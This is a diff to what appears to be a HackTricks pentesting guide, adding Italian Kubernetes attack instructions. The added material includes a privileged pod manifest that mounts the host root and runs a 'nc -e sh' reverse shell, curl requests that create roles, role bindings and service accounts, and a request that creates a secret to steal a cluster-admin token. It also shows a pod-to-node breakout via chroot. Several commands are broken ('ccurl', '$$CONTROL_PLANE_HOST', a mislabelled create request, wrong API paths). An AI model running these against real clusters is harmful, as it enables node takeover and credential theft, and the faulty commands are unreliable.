diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 7ab73713c..6172b28d3 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -451,8 +451,8 @@ - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md) + - [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md) + - [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md) - [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md) - [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md) - [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md) @@ -462,16 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) - - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) - - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index 09ad969ae..acd6ed9b3 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -1,8 +1,8 @@ -# Enumerazione di Kubernetes +# Kubernetes Enumeration {{#include ../../banners/hacktricks-training.md}} -## Token di Kubernetes +## Kubernetes Tokens Se hai compromesso l'accesso a una macchina, l'utente potrebbe avere accesso a qualche piattaforma Kubernetes. Il token si trova solitamente in un file indicato dalla **variabile d'ambiente `KUBECONFIG`** o **all'interno di `~/.kube`**. @@ -10,16 +10,16 @@ In questa cartella potresti trovare file di configurazione con **token e configu Se hai compromesso un pod all'interno di un ambiente kubernetes, ci sono altri luoghi dove puoi trovare token e informazioni sull'attuale ambiente K8: -### Token dell'Account di Servizio +### Service Account Tokens Prima di continuare, se non sai cosa sia un servizio in Kubernetes, ti consiglio di **seguire questo link e leggere almeno le informazioni sull'architettura di Kubernetes.** Preso dalla [documentazione](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) di Kubernetes: -_“Quando crei un pod, se non specifichi un account di servizio, viene automaticamente assegnato l'account di servizio_ predefinito _nello stesso namespace.”_ +_“Quando crei un pod, se non specifichi un service account, viene automaticamente assegnato il_ service account _predefinito nello stesso namespace.”_ **ServiceAccount** è un oggetto gestito da Kubernetes e utilizzato per fornire un'identità per i processi che vengono eseguiti in un pod.\ -Ogni account di servizio ha un segreto ad esso correlato e questo segreto contiene un token bearer. Questo è un JSON Web Token (JWT), un metodo per rappresentare in modo sicuro le affermazioni tra due parti. +Ogni service account ha un segreto ad esso correlato e questo segreto contiene un bearer token. Questo è un JSON Web Token (JWT), un metodo per rappresentare in modo sicuro le affermazioni tra due parti. Di solito **uno** delle directory: @@ -35,7 +35,7 @@ contiene i file: Ora che hai il token, puoi trovare il server API all'interno della variabile d'ambiente **`KUBECONFIG`**. Per ulteriori informazioni esegui `(env | set) | grep -i "kuber|kube`**`"`** -Il token dell'account di servizio è firmato dalla chiave presente nel file **sa.key** e convalidato da **sa.pub**. +Il token del service account è firmato dalla chiave presente nel file **sa.key** e convalidato da **sa.pub**. Posizione predefinita su **Kubernetes**: @@ -47,32 +47,32 @@ Posizione predefinita su **Minikube**: ### Hot Pods -_**Hot pods sono**_ pods che contengono un token di account di servizio privilegiato. Un token di account di servizio privilegiato è un token che ha il permesso di eseguire compiti privilegiati come elencare segreti, creare pod, ecc. +_**Hot pods sono**_ pods che contengono un token di service account privilegiato. Un token di service account privilegiato è un token che ha il permesso di eseguire compiti privilegiati come elencare segreti, creare pod, ecc. ## RBAC Se non sai cosa sia **RBAC**, **leggi questa sezione**. -## Applicazioni GUI +## GUI Applications - **k9s**: Un'interfaccia grafica che enumera un cluster kubernetes dal terminale. Controlla i comandi in [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Scrivi `:namespace` e seleziona tutto per poi cercare risorse in tutti i namespace. - **k8slens**: Offre alcuni giorni di prova gratuita: [https://k8slens.dev/](https://k8slens.dev/) -## CheatSheet di Enumerazione +## Enumeration CheatSheet Per enumerare un ambiente K8s hai bisogno di un paio di queste: -- Un **token di autenticazione valido**. Nella sezione precedente abbiamo visto dove cercare un token utente e un token di account di servizio. +- Un **token di autenticazione valido**. Nella sezione precedente abbiamo visto dove cercare un token utente e un token di service account. - L'**indirizzo (**_**https://host:port**_**) dell'API di Kubernetes**. Questo può essere solitamente trovato nelle variabili d'ambiente e/o nel file di configurazione kube. - **Opzionale**: Il **ca.crt per verificare il server API**. Questo può essere trovato negli stessi luoghi in cui può essere trovato il token. Questo è utile per verificare il certificato del server API, ma utilizzando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` non avrai bisogno di questo. -Con questi dettagli puoi **enumerare kubernetes**. Se l'**API** per qualche motivo è **accessibile** tramite **Internet**, puoi semplicemente scaricare quelle informazioni e enumerare la piattaforma dal tuo host. +Con questi dettagli puoi **enumerare kubernetes**. Se l'**API** per qualche motivo è **accessibile** attraverso l'**Internet**, puoi semplicemente scaricare quelle informazioni e enumerare la piattaforma dal tuo host. Tuttavia, di solito il **server API è all'interno di una rete interna**, quindi dovrai **creare un tunnel** attraverso la macchina compromessa per accedervi dalla tua macchina, oppure puoi **caricare il** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binario, o usare **`curl/wget/anything`** per eseguire richieste HTTP raw al server API. -### Differenze tra i verbi `list` e `get` +### Differences between `list` and `get` verbs -Con i permessi **`get`** puoi accedere alle informazioni di asset specifici (_opzione `describe` in `kubectl`_) API: +Con i permessi **`get`** puoi accedere alle informazioni di asset specifici (_`describe` option in `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` @@ -91,10 +91,10 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` -Aprono una connessione di streaming che ti restituisce il manifesto completo di un Deployment ogni volta che cambia (o quando ne viene creato uno nuovo). +Aprono una connessione streaming che ti restituisce il manifesto completo di un Deployment ogni volta che cambia (o quando ne viene creato uno nuovo). > [!CAUTION] -> I seguenti comandi `kubectl` indicano solo come elencare gli oggetti. Se desideri accedere ai dati, devi usare `describe` invece di `get` +> I seguenti comandi `kubectl` indicano solo come elencare gli oggetti. Se desideri accedere ai dati, devi usare `describe` invece di `get`. ### Utilizzando curl @@ -109,9 +109,9 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> Per impostazione predefinita, il pod può **accedere** al **kube-api server** nel nome di dominio **`kubernetes.default.svc`** e puoi vedere la rete kube in **`/etc/resolv.config`** poiché qui troverai l'indirizzo del server DNS di kubernetes (il ".1" della stessa gamma è l'endpoint kube-api). +> Per impostazione predefinita, il pod può **accedere** al **kube-api server** nel nome di dominio **`kubernetes.default.svc`** e puoi vedere la rete kube in **`/etc/resolv.config`** poiché qui troverai l'indirizzo del server DNS di kubernetes (il ".1" dello stesso intervallo è l'endpoint kube-api). -### Usando kubectl +### Utilizzando kubectl Avendo il token e l'indirizzo del server API, puoi utilizzare kubectl o curl per accedervi come indicato qui: @@ -119,9 +119,9 @@ Per impostazione predefinita, l'APISERVER comunica con lo schema `https://` ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` -> se non c'è `https://` nell'url, potresti ricevere un errore come Bad Request. +> se non c'è `https://` nell'URL, potresti ricevere un errore come Bad Request. -Puoi trovare un [**foglio di riferimento ufficiale di kubectl qui**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). L'obiettivo delle sezioni seguenti è presentare in modo ordinato diverse opzioni per enumerare e comprendere il nuovo K8s a cui hai ottenuto accesso. +Puoi trovare un [**foglio di trucchi ufficiale di kubectl qui**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). L'obiettivo delle sezioni seguenti è presentare in modo ordinato diverse opzioni per enumerare e comprendere il nuovo K8s a cui hai ottenuto accesso. Per trovare la richiesta HTTP che `kubectl` invia, puoi usare il parametro `-v=8` @@ -174,7 +174,7 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace {{#endtab }} {{#endtabs }} -### Ottieni i privilegi correnti +### Ottieni Privilegi Correnti {{#tabs }} {{#tab name="kubectl" }} @@ -288,7 +288,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts {{#endtab }} {{#endtabs }} -### Ottieni Deployments +### Ottieni i Deployments I deployments specificano i **componenti** che devono essere **eseguiti**. @@ -309,7 +309,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//deployments/ ### Ottieni Pods -I Pods sono i **contenitori** effettivi che verranno **eseguiti**. +I Pods sono i **contenitori** che verranno **eseguiti**. {{#tabs }} {{#tab name="kubectl" }} @@ -365,7 +365,7 @@ kurl -v https://$APISERVER/api/v1/nodes/ ### Ottieni DaemonSets -**DaeamonSets** consente di garantire che un **pod specifico sia in esecuzione in tutti i nodi** del cluster (o in quelli selezionati). Se elimini il DaemonSet, i pod gestiti da esso verranno rimossi. +**DaeamonSets** consente di garantire che un **pod specifico sia in esecuzione in tutti i nodi** del cluster (o in quelli selezionati). Se elimini il DaemonSet, i pod gestiti da esso verranno anch'essi rimossi. {{#tabs }} {{#tab name="kubectl" }} @@ -449,7 +449,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' {{#endtab }} {{#endtabs }} -### **Ottieni i consumi dei Pods** +### **Ottieni i consumi dei Pod** {{#tabs }} {{#tab name="kubectl" }} @@ -459,7 +459,11 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} -### Uscita dal pod +## Interagire con il cluster senza usare kubectl + +Visto che il piano di controllo di Kubernetes espone un'API REST-ful, puoi creare manualmente richieste HTTP e inviarle con altri strumenti, come **curl** o **wget**. + +### Uscire dal pod Se sei in grado di creare nuovi pod, potresti essere in grado di uscire da essi verso il nodo. Per farlo, devi creare un nuovo pod utilizzando un file yaml, passare al pod creato e poi chroot nel sistema del nodo. Puoi utilizzare pod già esistenti come riferimento per il file yaml poiché mostrano immagini e percorsi esistenti. ```bash @@ -501,7 +505,7 @@ restartPolicy: Never # or using # node-role.kubernetes.io/master: "" ``` -Dopo di che crei il pod +Dopo aver creato il pod ```bash kubectl apply -f attacker.yaml [-n ] ``` @@ -509,12 +513,218 @@ Ora puoi passare al pod creato come segue ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` -E infine ti chroot nel sistema del nodo +E infine esegui il chroot nel sistema del nodo. ```bash chroot /root /bin/bash ``` Informazioni ottenute da: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) +### Creazione di un pod privilegiato + +Il file yaml corrispondente è il seguente: +```yaml +apiVersion: v1 +kind: Pod +metadata: +name: everything-allowed-exec-pod +labels: +app: pentest +spec: +hostNetwork: true +hostPID: true +hostIPC: true +containers: +- name: everything-allowed-pod +image: alpine +securityContext: +privileged: true +volumeMounts: +- mountPath: /host +name: noderoot +command: [ "/bin/sh", "-c", "--" ] +args: [ "nc -e sh" ] +#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name +volumes: +- name: noderoot +hostPath: +path: / +``` +Crea il pod con curl: +```bash +CONTROL_PLANE_HOST="" +TOKEN="" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 478' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Elimina un pod + +Elimina un pod con curl: +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +POD_NAME="everything-allowed-exec-pod" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" +``` +### Crea un Account di Servizio +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Length: 109' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Elimina un Account di Servizio +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +SA_NAME="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" +``` +### Crea un Ruolo +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'Accept: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 203' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Elimina un Ruolo +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +ROLE_NAME="" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" +``` +### Crea un Binding di Ruolo +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 816' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Elimina un Binding di Ruolo +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +ROLE_BINDING_NAME="" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" +``` +### Elimina un Segreto +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 219' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Elimina un Segreto +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +SECRET_NAME="" + +ccurl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'Accept: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME" +``` ## Riferimenti {{#ref}}